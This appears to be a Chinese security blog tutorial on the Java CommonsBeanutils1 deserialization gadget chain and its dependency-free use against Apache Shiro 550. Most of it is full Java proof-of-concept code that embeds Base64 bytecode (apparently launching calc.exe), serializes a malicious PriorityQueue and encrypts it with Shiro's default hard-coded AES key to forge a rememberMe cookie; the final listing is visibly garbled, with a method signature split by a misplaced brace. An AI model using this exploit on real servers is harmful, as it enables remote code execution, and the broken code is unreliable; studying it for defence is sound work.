CB利用鏈及無依賴打Shiro
前言
前面已經學習了CC1到CC7的利用鏈,其中在CC2中認識了java.util.PriorityQueue
,它在Java中是一個優先隊列,隊列中每一個元素有自己的優先級。在反序列化這個對象時,為了保證隊列順序,會進行重排序的操作,而排序就涉及到大小比較,進而執行java.util.Comparator
接口的compare()
方法。
那麼是否還能找到其他可以利用的java.util.Comparator
對象呢?
Apache Commons Beanutils
Apache Commons Beanutils 是 Apache Commons 工具集下的另一個項目,它提供了對普通Java類對象(也稱為JavaBean)的一些操作方法
比如,Cat是一個最簡單的JavaBean類
final public class Cat {
private String name = "catalina";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
它包含一個私有屬性name,和讀取和設置這個屬性的兩個方法,又稱為getter和setter。其中,getter的方法名以get開頭,setter的方法名以set開頭,全名符合駱駝式命名法(Camel-Case)。
commons-beanutils中提供了一個靜態方法PropertyUtils.getProperty
,讓使用者可以直接調用任意JavaBean的getter方法,比如
PropertyUtils.getProperty(new Cat(), "name");
此時,commons-beanutils會自動找到name屬性的getter方法,也就是getName
,然後調用,獲得返回值。除此之外,PropertyUtils.getProperty
還支持遞歸獲取屬性,比如a對象中有屬性b,b對象 中有屬性c,我們可以通過PropertyUtils.getProperty(a, "b.c")
; 的方式進行遞歸獲取。通過這個 方法,使用者可以很方便地調用任意對象的getter,適用於在不確定JavaBean是哪個類對象時使用。 當然,commons-beanutils中諸如此類的輔助方法還有很多,如調用setter、拷貝屬性等。
getter
前邊說了,我們需要找可以利用的java.util.Comparator
對象,在commons-beanutils包中就存在一個:org.apache.commons.beanutils.BeanComparator
BeanComparator 是commons-beanutils提供的用來比較兩個JavaBean是否相等的類,其實現了java.util.Comparator接口。我們看它的compare方法
這個方法傳入兩個對象,如果this.property
為空,則直接比較這兩個對象;如果this.property
不為空,則用PropertyUtils.getProperty
分別取這兩個對象的this.property
屬性,比較屬性的值,上一節我們說了,PropertyUtils.getProperty
這個方法會自動去調用一個JavaBean的getter方法,這個點是任意代碼執行的關鍵。有沒有什麼getter方法可以執行惡意代碼呢?
在[Java安全之動態加載位元組碼(//www.cnblogs.com/gk0d/p/16880749.html)中,在分析TemplatesImpl
時,有過這麼一段描述
追溯到到最前面兩個方法TemplatesImpl#getOutputProperties()
,TemplatesImpl#newTransformer()
,這兩者的作用域是public,可以被外部調用
其中TemplatesImpl#getOutputProperties()
方法是調用鏈上的一環,它的內部調用了 TemplatesImpl#newTransformer()
,也就是我們後面常用來執行惡意位元組碼的地方。
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
而getOutputProperties
這個名字,是以get開頭,正符合getter的定義。
所以,PropertyUtils.getProperty(o1,property)
這段代碼,當o1是一個TemplatesImpl
對象,而 property 的值為 outputProperties
時,將會自動調用getter,也就是TemplatesImpl#getOutputProperties()
方法,觸發代碼執行。
利用鏈構造
首先創建TemplateImpl:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然後,實例化BeanComparator
,BeanComparator
構造函數為空時,默認的property
就是空:
final BeanComparator comparator = new BeanComparator();
然後用這個comparator實例化優先隊列PriorityQueue
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
可見,我們添加了兩個無害的可以比較的對象進隊列中。前文說過, BeanComparator#compare()
中, 如果this.property 為空,則直接比較這兩個對象。這裡實際上就是對兩個1
進行排序。
初始化時使用正經對象,且property
為空,這一系列操作是為了初始化的時候不要出錯。然後,我們再用反射將property的值設置成惡意的outputProperties
,將隊列里的兩個1替換成惡意的TemplateImpl
對象:
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj})
最終POC如下:
package org.example;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "gk0d");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
Shiro550
之前在利用TemplatesImpl攻擊Shiro中寫了利用CC鏈加TemplatesImpl
來攻擊Shiro。
這裡說一下,Shiro
是依賴於commons-beanutils
的,所以說只要有shiro
就一定有CB,用CB利用鏈肯定會更加方便。
構造POC:
使用上面的CB鏈進行加密打Shrio試試
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class cb_shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "Arsene.Tang");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
}
Caused by:java.io.InvalidClassException:org.apache.commons.beanutils.BeanComparator;local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
serialVersionUID
如果兩個不同版本的庫使用了同一個類,而這兩個類可能有一些方法和屬性有了變化,此時在序列化通 信的時候就可能因為不兼容導致出現隱患。因此,Java在反序列化的時候提供了一個機制,序列化時會 根據固定算法計算出一個當前類的serialVersionUID
值,寫入數據流中;反序列化時,如果發現對方的環境中這個類計算出的serialVersionUID
不同,則反序列化就會異常退出,避免後續的未知隱患。
當然,開發者也可以手工給類賦予一個serialVersionUID
值,此時就能手工控制兼容性了。
我們在生成rememberMe
的時候本地使用的是commons-beanutils1.9.4
版本,而shiro自帶的是1.8.3
版本。出現了serialVersionUID
對應不上的問題。
所以我們直接將本地的commons-beanutils也換成1.8.3版本。再次生成Payload進行測試,仍然沒有觸發代碼執行。
沒找到org.apache.commons.collections.comparators.ComparableComparator
類,從包名即可看出,這個類是來自於commons-collections
,commons-beanutils本來依賴於commons-collections,但是在Shiro中,它的commons-beanutils雖 然包含了一部分commons-collections的類,但卻不全。這也導致,正常使用Shiro的時候不需要依賴於 commons-collections,但反序列化利用的時候需要依賴於commons-collections。
無依賴的Shiro反序列化利用鏈
看看org.apache.commons.collections.comparators.ComparableComparator
這個類在哪裡使用了:
在BeanComparator
類的構造函數處,當沒有顯式傳入Comparator
的情況下,則默認使用 ComparableComparator
。
既然此時沒有ComparableComparator ,我們需要找到一個類來替換,它滿足下面這幾個條件:
- 實現 java.util.Comparator接口
- 實現java.io.Serializable接口
- Java、shiro或commons-beanutils自帶
public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L;
public int compare(String s1, String s2) {
int n1 = s1.length();
int n2 = s2.length();
int min = Math.min(n1, n2);
for (int i = 0; i < min; i++) {
char c1 = s1.charAt(i);
char c2 = s2.charAt(i);
if (c1 != c2) {
c1 = Character.toUpperCase(c1);
c2 = Character.toUpperCase(c2);
if (c1 != c2) {
c1 = Character.toLowerCase(c1);
c2 = Character.toLowerCase(c2);
if (c1 != c2) {
// No overflow because of numeric promotion
return c1 - c2;
}
}
}
}
return n1 - n2;
}
CaseInsensitiveComparator
類是java.lang.String
類下的一個內部私有類,其實現了 Comparator
和Serializable
,且位於Java的核心代碼
通過String.CASE_INSENSITIVE_ORDER
即可拿到上下文中的CaseInsensitiveComparator
對象,用它來實例化 BeanComparator
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
最後構造處新的利用鏈
package org.example;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import static java.util.Base64.getDecoder;
public class cb_shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
public static void main(St
}ring[] args) throws Exception {
byte[] code = getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
final Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
}
又報錯,因為我們後面添加的是兩個整形對象,不能轉換成字符串類型,那我們把1
改成"1"
就解決了
queue.add(「1」);
queue.add(「1」);